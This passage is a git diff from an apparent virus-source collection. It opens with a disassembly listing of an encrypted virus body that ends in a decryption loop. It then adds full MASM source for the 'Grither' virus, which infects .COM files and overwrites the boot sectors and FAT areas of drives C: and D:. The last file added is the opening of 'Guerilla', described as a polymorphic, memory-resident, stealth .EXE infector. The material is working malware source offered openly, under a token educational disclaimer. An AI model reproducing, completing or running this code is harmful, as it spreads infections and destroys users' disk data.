090C +090D 39 6F 36 CMP W[BX+036],BP +0910 99 CWD +0911 B4 B7 MOV AH,0B7 +0913 38 B7 36 99 CMP B[BX+09936],DH +0917 A5 MOVSW +0918 B7 38 MOV BH,038 +091A B7 16 MOV BH,016 +091C A5 MOVSW +091D B7 39 MOV BH,039 +091F 6F OUTSW +0920 F7 39 IDIV W[BX+DI] +0922 77 71 JA 0995 +0924 B1 B7 MOV CL,0B7 +0926 B7 ED MOV BH,0ED +0928 70 B1 JO 08DB +092A B6 B7 MOV DH,0B7 +092C BF B7 70 MOV DI,070B7 +092F B1 B4 MOV CL,0B4 +0931 B7 39 MOV BH,039 +0933 B7 B9 MOV BH,0B9 +0935 A8 5C TEST AL,05C +0937 B3 27 MOV BL,027 +0939 5C POP SP +093A EC IN AL,DX +093B 27 DAA +093C 84 48 0E TEST B[BX+SI+0E],CL +093F 87 B5 3C 42 XCHG W[DI+0423C],SI +0943 44 INC SP +0944 12 84 77 39 ADC AL,B[SI+03977] +0948 6F OUTSW +0949 A9 72 B1 TEST AX,0B172 +094C 33 B7 91 14 XOR SI,W[BX+01491] +0950 46 INC SI +0951 B6 91 MOV DH,091 +0953 3B A9 44 B6 CMP BP,W[BX+DI+0B644] +0957 A8 A9 TEST AL,0A9 +0959 72 B1 JB 090C +095B 97 XCHG AX,DI +095C B7 91 MOV BH,091 +095E 14 69 ADC AL,069 +0960 B6 91 MOV DH,091 +0962 3B A9 57 B6 CMP BP,W[BX+DI+0B657] +0966 A8 A9 TEST AL,0A9 +0968 72 B1 JB 091B +096A 93 XCHG AX,BX +096B B7 91 MOV BH,091 +096D 14 BF ADC AL,0BF +096F B6 91 MOV DH,091 +0971 3B A9 BD B6 CMP BP,W[BX+DI+0B6BD] +0975 A8 70 TEST AL,070 +0977 B1 33 MOV CL,033 +0979 B7 55 MOV BH,055 +097B B6 3B MOV DH,03B +097D B1 31 MOV CL,031 +097F B7 70 MOV BH,070 +0981 B1 97 MOV CL,097 +0983 B7 E4 MOV BH,0E4 +0985 B6 3B MOV DH,03B +0987 B1 95 MOV CL,095 +0989 B7 70 MOV BH,070 +098B B1 93 MOV CL,093 +098D B7 48 MOV BH,048 +098F B7 3B MOV BH,03B +0991 B1 91 MOV CL,091 +0993 B7 B0 MOV BH,0B0 +0995 A8 36 TEST AL,036 +0997 4B DEC BX +0998 F5 CMC +0999 F6 C3 B9 TEST BL,0B9 +099C 3A 01 CMP AL,B[BX+DI] +099E 82 DB 082 +099F B4 08 MOV AH,8 +09A1 B7 B6 MOV BH,0B6 +09A3 E0 13 LOOPNE 09B8 +09A5 12 12 ADC DL,B[BP+SI] +09A7 5C POP SP +09A8 A4 MOVSB +09A9 27 DAA +09AA A9 B1 B9 TEST AX,0B9B1 +09AD A8 B9 TEST AL,0B9 +09AF B0 3A MOV AL,03A +09B1 01 40 B7 ADD W[BX+SI-049],AX +09B4 3A 09 CMP CL,B[BX+DI] +09B6 58 POP AX +09B7 B7 12 MOV BH,012 +09B9 12 12 ADC DL,B[BP+SI] +09BB 12 36 4B 89 ADC DH,B[0894B] +09BF F6 C3 B6 TEST BL,0B6 +09C2 74 B0 JE 0974 +09C4 A8 3B TEST AL,03B +09C6 77 B2 JA 097A +09C8 A7 CMPSW +09C9 B7 99 MOV BH,099 +09CB B6 31 MOV DH,031 +09CD 46 INC SI +09CE B7 99 MOV BH,099 +09D0 B4 31 MOV AH,031 +09D2 42 INC DX +09D3 B7 4D MOV BH,04D +09D5 99 CWD +09D6 3C 11 CMP AL,011 +09D8 44 INC SP +09D9 B7 39 MOV BH,039 +09DB 67 DB 067 +09DC 4C DEC SP +09DD 5D POP BP +09DE B7 B7 MOV BH,0B7 +09E0 B7 B7 MOV BH,0B7 +09E2 B7 B7 MOV BH,0B7 +09E4 B7 B7 MOV BH,0B7 +09E6 B7 B7 MOV BH,0B7 +09E8 47 INC DI +09E9 48 DEC AX +09EA B7 B7 MOV BH,0B7 +09EC B7 B7 MOV BH,0B7 +09EE E7 53 OUT 053,AX +09F0 D7 XLATB +09F1 8B E4 MOV SP,SP +09F3 C3 RET +09F4 B1 EF MOV CL,0EF +09F6 5D POP BP +09F7 30 5E B7 XOR B[BP-049],BL +09FA 47 INC DI +09FB E7 E4 OUT 0E4,AX +09FD E6 E5 OUT 0E5,AL +09FF A9 B1 84 TEST AX,084B1 +0A02 77 7A JA 0A7E +0A04 AD LODSW +0A05 34 4E XOR AL,04E +0A07 BE C5 9B MOV SI,09BC5 +0A0A 34 4E XOR AL,04E +0A0C B8 C0 90 MOV AX,090C0 +0A0F B9 A8 B9 MOV CX,0B9A8 +0A12 B0 84 MOV AL,084 +0A14 77 07 JA 0A1D +0A16 B4 7A MOV AH,07A +0A18 A7 CMPSW +0A19 03 BE 0D E6 ADD DI,W[BP+0E60D] +0A1D B4 7A MOV AH,07A +0A1F 96 XCHG AX,SI +0A20 0E PUSH CS +0A21 B2 B7 MOV DL,0B7 +0A23 E6 03 OUT 3,AL +0A25 B7 7A MOV BH,07A +0A27 AD LODSW +0A28 34 75 XOR AL,075 +0A2A A5 MOVSW +0A2B 3C 6D CMP AL,06D +0A2D 7A AD JPE 09DC +0A2F 8C 64 C2 MOV W[SI-03E],ES +0A32 4D DEC BP +0A33 EE OUT DX,AL +0A34 55 PUSH BP +0A35 5A POP DX +0A36 B0 A8 MOV AL,0A8 +0A38 ED IN AX,DX +0A39 EE OUT DX,AL +0A3A EC IN AL,DX +0A3B EF OUT DX,AX +0A3C 5D POP BP +0A3D 47 INC DI +0A3E 48 DEC AX +0A3F 48 DEC AX +0A40 48 DEC AX +0A41 78 E7 JS 0A2A +0A43 E4 E6 IN AL,0E6 +0A45 E5 B1 IN AX,0B1 +0A47 A9 B9 A8 TEST AX,0A8B9 +0A4A B9 B0 84 MOV CX,084B0 +0A4D 77 7A JA 0AC9 +0A4F AD LODSW +0A50 34 4E XOR AL,04E +0A52 BE C5 C6 MOV SI,0C6C5 +0A55 34 4E XOR AL,04E +0A57 B8 C0 DB MOV AX,0DBC0 +0A5A 03 B4 84 6C ADD SI,W[SI+06C84] +0A5E 7A A7 JPE 0A07 +0A60 E5 3D IN AX,03D +0A62 81 8C B4 3D A1 8D OR W[SI+03DB4],08DA1 +0A68 B4 03 MOV AH,3 +0A6A B5 84 MOV CH,084 +0A6C 6C INSB +0A6D 7A A7 JPE 0A16 +0A6F 03 BD 07 97 ADD DI,W[DI+09707] +0A73 84 6C 0E TEST B[SI+0E],CH +0A76 B6 B7 MOV DH,0B7 +0A78 7A A7 JPE 0A21 +0A7A 37 AAA +0A7B 49 DEC CX +0A7C AF SCASW +0A7D CB RETF +0A7E B2 71 MOV DL,071 +0A80 B1 03 MOV CL,3 +0A82 B6 79 MOV DH,079 +0A84 37 AAA +0A85 49 DEC CX +0A86 B7 C0 MOV BH,0C0 +0A88 B2 71 MOV DL,071 +0A8A B1 03 MOV CL,3 +0A8C B6 71 MOV DH,071 +0A8E 37 AAA +0A8F 4D DEC BP +0A90 F8 CLC +0A91 CB RETF +0A92 B2 71 MOV DL,071 +0A94 B1 01 MOV CL,1 +0A96 B6 7D MOV DH,07D +0A98 37 AAA +0A99 4D DEC BP +0A9A B7 C0 MOV BH,0C0 +0A9C B2 71 MOV DL,071 +0A9E B1 01 MOV CL,1 +0AA0 B6 75 MOV DH,075 +0AA2 49 DEC CX +0AA3 71 49 JNO 0AEE +0AA5 7D 3F JGE 0AE6 +0AA7 A1 8D B4 MOV AX,W[0B48D] +0AAA 3F AAS +0AAB 81 8C B4 03 B5 84 OR W[SI+03B4],084B5 +0AB1 6C INSB +0AB2 7A A7 JPE 0A5B +0AB4 03 BD 07 9D ADD DI,W[DI+09D07] +0AB8 84 6C 0E TEST B[SI+0E],CH +0ABB B6 B7 MOV DH,0B7 +0ABD 7A A7 JPE 0A66 +0ABF 03 B5 84 6C ADD SI,W[DI+06C84] +0AC3 ED IN AX,DX +0AC4 7A A7 JPE 0A6D +0AC6 A8 B0 TEST AL,0B0 +0AC8 ED IN AX,DX +0AC9 EE OUT DX,AL +0ACA EC IN AL,DX +0ACB EF OUT DX,AX +0ACC 5D POP BP +0ACD 12 49 B7 ADC CL,B[BX+DI-049] +0AD0 47 INC DI +0AD1 8A B7 FC C3 MOV DH,B[BX+0C3FC] +0AD5 B9 8A F5 MOV CX,0F58A +0AD8 F6 C2 B3 TEST DL,0B3 +0ADB 0F 86 DB 0F,086 +0ADD 94 XCHG AX,SP +0ADE 78 5D JS 0B3D +0AE0 29 A7 A1 B6 SUB W[BX+0B6A1],SP +0AE4 2B E7 SUB SP,DI +0AE6 E4 E6 IN AL,0E6 +0AE8 E5 E1 IN AX,0E1 +0AEA E0 A9 LOOPNE 0A95 +0AEC B1 0F MOV CL,0F +0AEE B7 F4 MOV BH,0F4 +0AF0 7A 96 JPE 0A88 +0AF2 A9 E5 E6 TEST AX,0E6E5 +0AF5 84 7E 0F TEST B[BP+0F],BH +0AF8 B6 F4 MOV DH,0F4 +0AFA 7A 96 JPE 0A92 +0AFC 0F B5 DB 0F,0B5 +0AFE 8A 7A 96 MOV BH,B[BP+SI-06A] +0B01 24 0F AND AL,0F +0B03 B7 E0 MOV BH,0E0 +0B05 7A 96 JPE 0A9D +0B07 E6 E5 OUT 0E5,AL +0B09 B9 A8 B9 MOV CX,0B9A8 +0B0C B0 03 MOV AL,3 +0B0E 88 0E AD B7 MOV B[0B7AD],CL +0B12 0D 0B BF OR AX,0BF0B +0B15 7A 96 JPE 0AAD +0B17 0F B5 DB 0F,0B5 +0B19 F5 CMC +0B1A 84 7E 84 TEST B[BP-07C],BH +0B1D 65 7A 96 REPC JPE 0AB6 +0B20 36 89 0B SS MOV W[BP+DI],CX +0B23 BF FA ED MOV DI,0EDFA +0B26 C3 RET +0B27 BC 36 89 MOV SP,08936 +0B2A 08 BF F5 F6 OR B[BX+0F6F5],BH +0B2E C3 RET +0B2F EC IN AL,DX +0B30 5C POP SP +0B31 A0 27 36 MOV AL,B[03627] +0B34 89 7B BF MOV W[BP+DI-041],DI +0B37 F5 CMC +0B38 F6 C3 E7 TEST BL,0E7 +0B3B 5C POP SP +0B3C 9D POPF +0B3D 27 DAA +0B3E B0 A8 MOV AL,0A8 +0B40 E8 E9 ED CALL 0F92C +0B43 EE OUT DX,AL +0B44 EC IN AL,DX +0B45 EF OUT DX,AX +0B46 2A 5C 21 SUB BL,B[SI+021] +0B49 9A B4 B7 09 0B CALL 0B09:0B7B4 +0B4E BF 08 82 MOV DI,08208 +0B51 B4 13 MOV AH,013 +0B53 12 12 ADC DL,B[BP+SI] +0B55 71 F3 JNO 0B4A +0B57 4C DEC SP +0B58 5E POP SI +0B59 3E F3 4B DS REP DEC BX +0B5C 70 F3 JO 0B51 +0B5E 49 DEC CX +0B5F F5 CMC +0B60 F6 0E DB 0F6,0E +0B62 B2 B7 MOV DL,0B7 +0B64 5C POP SP +0B65 DE 27 FISUB W[BX] +0B67 E4 E5 IN AL,0E5 +0B69 E7 73 OUT 073,AX +0B6B B1 67 MOV CL,067 +0B6D BF 14 40 MOV DI,04014 +0B70 B7 3B MOV BH,03B +0B72 B1 4E MOV CL,04E +0B74 B7 73 MOV BH,073 +0B76 B1 7D MOV CL,07D +0B78 BF 3B B1 MOV DI,0B13B +0B7B 4C DEC SP +0B7C B7 14 MOV BH,014 +0B7E 4A DEC DX +0B7F B7 16 MOV BH,016 +0B81 73 BF JAE 0B42 +0B83 06 PUSH ES +0B84 B3 64 MOV BL,064 +0B86 57 PUSH DI +0B87 24 5C AND AL,05C +0B89 B3 27 MOV BL,027 +0B8B 5E POP SI +0B8C 37 AAA +0B8D B7 EF MOV BH,0EF +0B8F ED IN AX,DX +0B90 E7 E5 OUT 0E5,AX +0B92 9C PUSHF +0B93 74 34 JE 0BC9 +0B95 6D INSW +0B96 B7 0E MOV BH,0E +0B98 A7 CMPSW +0B99 B7 40 MOV BH,040 +0B9B 46 INC SI +0B9C 3E A1 67 BF DS MOV AX,W[0BF67] +0BA0 14 65 ADC AL,065 +0BA2 BF 14 7D MOV DI,07D14 +0BA5 BF 70 B1 MOV DI,0B170 +0BA8 7B BF JPO 0B69 +0BAA F5 CMC +0BAB F6 ED IMUL CH +0BAD EF OUT DX,AX +0BAE B2 E9 MOV DL,0E9 +0BB0 B3 34 MOV BL,034 +0BB2 65 B7 06 REPC MOV BH,6 +0BB5 BE E7 64 MOV SI,064E7 +0BB8 5F POP DI +0BB9 64 7D 4E REPNC JGE 0C0A +0BBC A4 MOVSB +0BBD 67 DB 067 +0BBE EF OUT DX,AX +0BBF 37 AAA +0BC0 53 PUSH BX +0BC1 B6 3E MOV DH,03E +0BC3 A1 77 BF MOV AX,W[0BF77] +0BC6 14 09 ADC AL,9 +0BC8 BF B9 B0 MOV DI,0B0B9 +0BCB 0E PUSH CS +0BCC AD LODSW +0BCD B7 EC MOV BH,0EC +0BCF E6 85 OUT 085,AL +0BD1 53 PUSH BX +0BD2 7A AD JPE 0B81 +0BD4 53 PUSH BX +0BD5 F7 85 76 85 75 8B TEST W[DI+08576],08B75 +0BDB B7 C3 MOV BH,0C3 +0BDD 45 INC BP +0BDE 15 EA B3 ADC AX,0B3EA +0BE1 84 41 08 TEST B[BX+DI+8],AL +0BE4 E9 B3 0E JMP 01A9A +0BE7 E9 B3 44 JMP 0509D +0BEA 13 E2 ADC SP,DX +0BEC 0A E9 OR CH,CL +0BEE B3 5F MOV BL,05F +0BF0 F0 B6 EA LOCK MOV DH,0EA +0BF3 03 F7 ADD SI,DI +0BF5 0D E9 B3 OR AX,0B3E9 +0BF8 0E PUSH CS +0BF9 E9 B3 7A JMP 086AF +0BFC 96 XCHG AX,SI +0BFD 0F B7 DB 0F,0B7 +0BFF F5 CMC +0C00 84 7E 84 TEST B[BP-07C],BH +0C03 65 7A 96 REPC JPE 0B9C +0C06 03 F7 ADD SI,DI +0C08 0D 0B BF OR AX,0BF0B +0C0B EE OUT DX,AL +0C0C 7A 96 JPE 0BA4 +0C0E 0F B6 DB 0F,0B6 +0C10 E0 ED LOOPNE 0BFF +0C12 EE OUT DX,AL +0C13 7A 96 JPE 0BAB +0C15 03 89 7A 96 ADD CX,W[BX+DI+0967A] +0C19 EE OUT DX,AL +0C1A ED IN AX,DX +0C1B A8 0F TEST AL,0F +0C1D B6 F4 MOV DH,0F4 +0C1F 7A 96 JPE 0BB7 +0C21 5E POP SI +0C22 AD LODSW +0C23 48 DEC AX +0C24 B9 A8 03 MOV CX,03A8 +0C27 BE 0D FC MOV SI,0FC0D +0C2A A6 CMPSB +0C2B F6 D3 NOT BL +0C2D DA DE DB 0DA,0DE +0C2F C5 D6 LDS DX,SI +0C31 DB 97 F5 D6 FIST D[BX+0D6F5] +0C35 DE DB DB 0DE,0DB +0C37 D2 CE ROR DH,CL +0C39 97 XCHG AX,DI +0C3A EC IN AL,DX +0C3B EE OUT DX,AL +0C3C F6 FA IDIV DL +0C3E EA B7 BA BD 97 JMP 097BD:0BAB7 +0C43 9D POPF +0C44 9D POPF +0C45 9D POPF +0C46 EC IN AL,DX +0C47 97 XCHG AX,DI +0C48 FD STD +0C49 C2 C4 C3 RET 0C3C4 +0C4C 97 XCHG AX,DI +0C4D C0 D6 D9 RCL DH,-027 +0C50 D9 D6 DB 0D9,0D6 +0C52 97 XCHG AX,DI +0C53 C4 D6 LES DX,SI +0C55 CE INTO +0C56 97 XCHG AX,DI +0C57 E0 D6 LOOPNE 0C2F +0C59 90 NOP +0C5A E4 C2 IN AL,0C2 +0C5C C7 97 C3 D8 8D 97 MOV W[BX+0D8C3],0978D +0C62 EA 9D 9D 9D 9D JMP 09D9D:09D9D +0C67 9D POPF +0C68 9D POPF +0C69 9D POPF +0C6A 9D POPF +0C6B 9D POPF +0C6C 9D POPF +0C6D 9D POPF +0C6E 9D POPF +0C6F 9D POPF +0C70 9D POPF +0C71 9D POPF +0C72 9D POPF +0C73 9D POPF +0C74 9D POPF +0C75 9D POPF +0C76 9D POPF +0C77 9D POPF +0C78 9D POPF +0C79 9D POPF +0C7A 9D POPF +0C7B 9D POPF +0C7C 9D POPF +0C7D 9D POPF +0C7E 9D POPF +0C7F 9D POPF +0C80 9D POPF +0C81 9D POPF +0C82 9D POPF +0C83 9D POPF +0C84 9D POPF +0C85 9D POPF +0C86 9D POPF +0C87 9D POPF +0C88 9D POPF +0C89 9D POPF +0C8A 9D POPF +0C8B 9D POPF +0C8C 9D POPF +0C8D 9D POPF +0C8E 9D POPF +0C8F 9D POPF +0C90 9D POPF +0C91 BD BA 97 MOV BP,097BA +0C94 97 XCHG AX,DI +0C95 97 XCHG AX,DI +0C96 97 XCHG AX,DI +0C97 97 XCHG AX,DI +0C98 97 XCHG AX,DI +0C99 97 XCHG AX,DI +0C9A 97 XCHG AX,DI +0C9B 97 XCHG AX,DI +0C9C 97 XCHG AX,DI +0C9D 97 XCHG AX,DI +0C9E 97 XCHG AX,DI +0C9F 97 XCHG AX,DI +0CA0 97 XCHG AX,DI +0CA1 E3 DF JCXZ 0C82 +0CA3 D2 97 F4 D6 RCL B[BX+0D6F4],CL +0CA7 C5 DA LDS BX,DX +0CA9 D2 DB RCR BL,CL +0CAB 97 XCHG AX,DI +0CAC FA CLI +0CAD D6 DB 0D6 +0CAE C4 C4 LES AX,SP +0CB0 DE C1 FADD +0CB2 D2 BD BA 97 SAR B[DI+097BA],CL +0CB6 97 XCHG AX,DI +0CB7 97 XCHG AX,DI +0CB8 97 XCHG AX,DI +0CB9 97 XCHG AX,DI +0CBA 97 XCHG AX,DI +0CBB 97 XCHG AX,DI +0CBC 97 XCHG AX,DI +0CBD 97 XCHG AX,DI +0CBE 97 XCHG AX,DI +0CBF 97 XCHG AX,DI +0CC0 97 XCHG AX,DI +0CC1 97 XCHG AX,DI +0CC2 97 XCHG AX,DI +0CC3 E3 DF JCXZ 0CA4 +0CC5 D2 97 FD D6 RCL B[BX+0D6FD],CL +0CC9 DA D6 DB 0DA,0D6 +0CCB DE D4 DB 0DE,0D4 +0CCD D6 DB 0D6 +0CCE D9 97 E7 D8 FST D[BX+0D8E7] +0CD2 C4 C4 LES AX,SP +0CD4 D2 97 D6 D9 RCL B[BX+0D9D6],CL +0CD8 D3 BD BA 97 SAR W[DI+097BA],CL +0CDC 97 XCHG AX,DI +0CDD 97 XCHG AX,DI +0CDE 97 XCHG AX,DI +0CDF 97 XCHG AX,DI +0CE0 97 XCHG AX,DI +0CE1 97 XCHG AX,DI +0CE2 97 XCHG AX,DI +0CE3 97 XCHG AX,DI +0CE4 97 XCHG AX,DI +0CE5 97 XCHG AX,DI +0CE6 97 XCHG AX,DI +0CE7 97 XCHG AX,DI +0CE8 97 XCHG AX,DI +0CE9 FA CLI +0CEA D6 DB 0D6 +0CEB D3 97 F4 D8 RCL W[BX+0D8F4],CL +0CEF D5 C5 AAD 0C5 +0CF1 D6 DB 0D6 +0CF2 99 CWD +0CF3 97 XCHG AX,DI +0CF4 FC CLD +0CF5 D2 D2 RCL DL,CL +0CF7 C7 97 C3 DF D2 97 MOV W[BX+0DFC3],097D2 +0CFD F1 DB 0F1 +0CFE FB STI +0CFF F2 EF REPNE OUT DX,AX +0D01 97 XCHG AX,DI +0D02 D6 DB 0D6 +0D03 DB DE DB 0DB,0DE +0D05 C1 D2 96 RCL DX,-06A +0D08 BD BA BA MOV BP,0BABA +0D0B BD F5 CE MOV BP,0CEF5 +0D0E 9A E3 DF D2 9A CALL 09AD2:0DFE3 +0D13 E0 D6 LOOPNE 0CEB +0D15 CE INTO +0D16 97 XCHG AX,DI +0D17 FD STD +0D18 D8 DF FCOMP 7 +0D1A D9 97 D4 D6 FST D[BX+0D6D4] +0D1E DB DB DB 0DB,0DB +0D20 97 XCHG AX,DI +0D21 C3 RET +0D22 DF DE DB 0DF,0DE +0D24 C4 97 D8 D9 LES DX,[BX+0D9D8] +0D28 D2 97 95 F0 RCL B[BX+0F095],CL +0D2C C5 D2 LDS DX,DX +0D2E D2 C3 ROL BL,CL +0D30 DE D9 FCOMPP +0D32 D0 C4 ROL AH,1 +0D34 95 XCHG AX,BP +0D35 99 CWD +0D36 BD BA 93 MOV BP,093BA +0D39 2E 8A A6 5D 04 CS MOV AH,B[BP+045D] +0D3E 8D B6 0B 00 LEA SI,[BP+0B] +0D42 B9 3F 04 MOV CX,043F +0D45 2E 30 24 CS XOR B[SI],AH +0D48 46 INC SI +0D49 E2 FA LOOP 0D45 +0D4B C3 RET +0D4C B7 90 MOV BH,090 diff --git a/g/GRITHER.ASM b/g/GRITHER.ASM new file mode 100755 index 0000000..d25e55e --- /dev/null +++ b/g/GRITHER.ASM @@ -0,0 +1,330 @@ + +;************************************************************************** +;** GRITHER VIRUS ** +;** Created: 27 Oct 1990 ** +;** [NukE] Notes: Does come from the Vienna Virus! And copies itself on ** +;** *.COMs and will re-write the begining sectors of drive ** +;** C: & D:! Erasing the FATs area... ** +;** ** +;** Sources Brought to you by -> Rock Steady [NukE]s Head Programmer! ** +;** ** +;************************************************************************** + +data_1e equ 2Ch ; (65AC:002C=0) +data_2e equ 75h ; (65AC:0075=0) +data_3e equ 79h ; (65AC:0079=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +grither proc far + +start: +;* jmp short loc_1 ;*(0112) + db 0EBh, 10h + db 90h +data_5 db 'Q', 9, 3, '' ; Data table (indexed access) + db 0Ah, 0 + db 0BFh, 0, 1, 0B9h, 3, 0 + db 0F3h, 0A4h, 8Bh, 0F2h, 0B4h, 30h + db 0CDh, 21h, 3Ch, 0, 75h, 3 + db 0E9h, 0C5h, 1 +loc_2: + push es + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov [si+0],bx + nop ;*Fixup for MASM (M) + mov [si+2],es + nop ;*Fixup for MASM (M) + pop es + mov dx,5Fh + nop + add dx,si + mov ah,1Ah + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + push es + push si + mov es,ds:data_1e ; (65AC:002C=0) + mov di,0 +loc_3: + pop si + push si + add si,1Ah + nop ;*Fixup for MASM (M) + lodsb ; String [si] to al + mov cx,8000h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + mov cx,4 + +locloop_4: + lodsb ; String [si] to al + scasb ; Scan es:[di] for al + jnz loc_3 ; Jump if not zero + loop locloop_4 ; Loop if cx > 0 + + pop si + pop es + mov [si+16h],di + nop ;*Fixup for MASM (M) + mov di,si + nop + add di,1Fh + nop ;*Fixup for MASM (M) + mov bx,si + add si,1Fh + nop ;*Fixup for MASM (M) + mov di,si + jmp short loc_10 ; (01B9) +loc_5: + cmp word ptr [si+16h],0 + nop ;*Fixup for MASM (M) + jne loc_6 ; Jump if not equal + jmp loc_19 ; (02E9) +loc_6: + push ds + push si + mov ds,es:data_1e ; (65AC:002C=0) + mov di,si + mov si,es:[di+16h] + nop ;*Fixup for MASM (M) + add di,1Fh + nop ;*Fixup for MASM (M) +loc_7: + lodsb ; String [si] to al + cmp al,3Bh ; ';' + je loc_9 ; Jump if equal + cmp al,0 + je loc_8 ; Jump if equal + stosb ; Store al to es:[di] + jmp short loc_7 ; (019B) +loc_8: + mov si,0 +loc_9: + pop bx + pop ds + mov [bx+16h],si + nop ;*Fixup for MASM (M) + nop + cmp ch,5Ch ; '\' + je loc_10 ; Jump if equal + mov al,5Ch ; '\' + stosb ; Store al to es:[di] +loc_10: + mov [bx+18h],di + nop ;*Fixup for MASM (M) + mov si,bx + add si,10h + nop ;*Fixup for MASM (M) + mov cx,6 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov si,bx + mov ah,4Eh ; 'N' + mov dx,1Fh + nop + add dx,si + mov cx,3 + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jmp short loc_12 ; (01DD) +loc_11: + mov ah,4Fh ; 'O' + int 21h ; DOS Services ah=function 4Fh + ; find next filename match +loc_12: + jnc loc_13 ; Jump if carry=0 + jmp short loc_5 ; (017F) +loc_13: + mov ax,ds:data_2e[si] ; (65AC:0075=0) + and al,1Fh + cmp al,1Fh + je loc_11 ; Jump if equal + cmp word ptr ds:data_3e[si],0FA00h ; (65AC:0079=0) + ja loc_11 ; Jump if above + cmp word ptr ds:data_3e[si],0Ah ; (65AC:0079=0) + jb loc_11 ; Jump if below + mov di,[si+18h] + nop ;*Fixup for MASM (M) + push si + add si,7Dh + nop ;*Fixup for MASM (M) +loc_14: + lodsb ; String [si] to al + stosb ; Store al to es:[di] + cmp al,0 + jne loc_14 ; Jump if not equal + pop si + mov ax,4300h + mov dx,1Fh + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + mov [si+8],cx + nop ;*Fixup for MASM (M) + mov ax,4301h + and cx,0FFFEh + mov dx,1Fh + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx + mov ax,3D02h + mov dx,1Fh + nop + add dx,si + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jnc loc_15 ; Jump if carry=0 + jmp loc_18 ; (02DA) +loc_15: + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov [si+4],cx + nop ;*Fixup for MASM (M) + mov [si+6],dx + nop ;*Fixup for MASM (M) + mov ah,2Ch ; ',' + int 21h ; DOS Services ah=function 2Ch + ; get time, cx=hrs/min, dh=sec + and dh,7 + jnz loc_16 ; Jump if not zero + mov ah,40h ; '@' + mov cx,85h + mov dx,si + add dx,8Ah + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jmp short loc_17 ; (02C3) + db 90h +loc_16: + mov ah,3Fh ; '?' + mov cx,3 + mov dx,0Ah + nop + add dx,si + int 21h ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + jc loc_17 ; Jump if carry Set + cmp ax,3 + jne loc_17 ; Jump if not equal + mov ax,4202h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_17 ; Jump if carry Set + mov cx,ax + sub ax,3 + mov [si+0Eh],ax + nop ;*Fixup for MASM (M) + add cx,2F7h + mov di,si + sub di,1F5h + mov [di],cx + mov ah,40h ; '@' + mov cx,306h + mov dx,si + sub dx,1F7h + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + jc loc_17 ; Jump if carry Set + cmp ax,306h + jne loc_17 ; Jump if not equal + mov ax,4200h + mov cx,0 + mov dx,0 + int 21h ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + jc loc_17 ; Jump if carry Set + mov ah,40h ; '@' + mov cx,3 + mov dx,si + add dx,0Dh + nop ;*Fixup for MASM (M) + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +loc_17: + mov dx,[si+6] + nop ;*Fixup for MASM (M) + mov cx,[si+4] + nop ;*Fixup for MASM (M) + and cx,0FFE0h + or cx,1Fh + mov ax,5701h + int 21h ; DOS Services ah=function 57h + ; get/set file date & time + mov ah,3Eh ; '>' + int 21h ; DOS Services ah=function 3Eh + ; close file, bx=file handle +loc_18: + mov ax,4301h + mov cx,[si+8] + nop ;*Fixup for MASM (M) + mov dx,1Fh + nop + add dx,si + int 21h ; DOS Services ah=function 43h + ; get/set file attrb, nam@ds:dx +loc_19: + push ds + mov ah,1Ah + mov dx,[si+0] + nop ;*Fixup for MASM (M) + mov ds,[si+2] + nop ;*Fixup for MASM (M) + int 21h ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + pop ds +loc_20: + pop cx + xor ax,ax ; Zero register + xor bx,bx ; Zero register + xor dx,dx ; Zero register + xor si,si ; Zero register + mov di,100h + push di + xor di,di ; Zero register + retn 0FFFFh + db 10 dup (0) + db 0CDh, 20h, 90h, 0E9h, 0, 0 + db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 + db 0, 0, 0, 0, 50h, 41h + db 54h, 48h, 3Dh, 0, 0 + db 105 dup (0) + db 0EBh, 58h, 90h + db ' `7O `88@99@6r `65@85M%AACC%YMJ%' + db 'LWNYMJW%AACC% `:@86@95r `68@87MH' + db 'tzwyjx~%tk%Jqj}nts `5r$' + db '3' + db 0C0h, 8Eh, 0D8h, 0B0h, 2, 0B9h + db 0A0h, 0, 33h, 0D2h, 0BBh, 0 + db 0, 0CDh, 26h, 0BBh, 0, 0 +loc_21: + cmp byte ptr data_5[bx],24h ; (65AC:0103=90h) '$' + je loc_22 ; Jump if equal + sub byte ptr data_5[bx],5 ; (65AC:0103=90h) + inc bx + jmp short loc_21 ; (0400) +loc_22: + mov dx,offset data_5 ; (65AC:0103=90h) + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + +grither endp + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/g/GUERILLA.ASM b/g/GUERILLA.ASM new file mode 100755 index 0000000..31354a8 --- /dev/null +++ b/g/GUERILLA.ASM @@ -0,0 +1,1207 @@ +; +; Guerilla 1996 +; Memory resident polymorphic DOS .EXE infector +; Brute Force Full Stealth (BFFS) +; Designed to spread fast and avoid detection-nondestructive & no payload +; Requires 386 or above and MS-DOS 5.0 or above +; +; Disclaimer: +; This file is only for educational purposes. The author takes absolutely +; no responsibility for anything that anyone does with this file. Do not +; modify this file. +; +; To compile use MASM: +; masm guerilla +; link guerilla +; (generates guerilla.exe) +; + +seg_a segment byte public + assume cs:seg_a , ds:seg_a , ss:seg_a + + +startvirus: + db 0bdh ; mov bp, XXh +delta dw 0 + + +movax305: mov al, 05h ; + mov ah, 03h ; + ; +subbxbx: and bx, 0 ; + nop ; + db 0cdh, 16h ; + + +movsibp: mov si, bp ; + clc ; + nop ; + 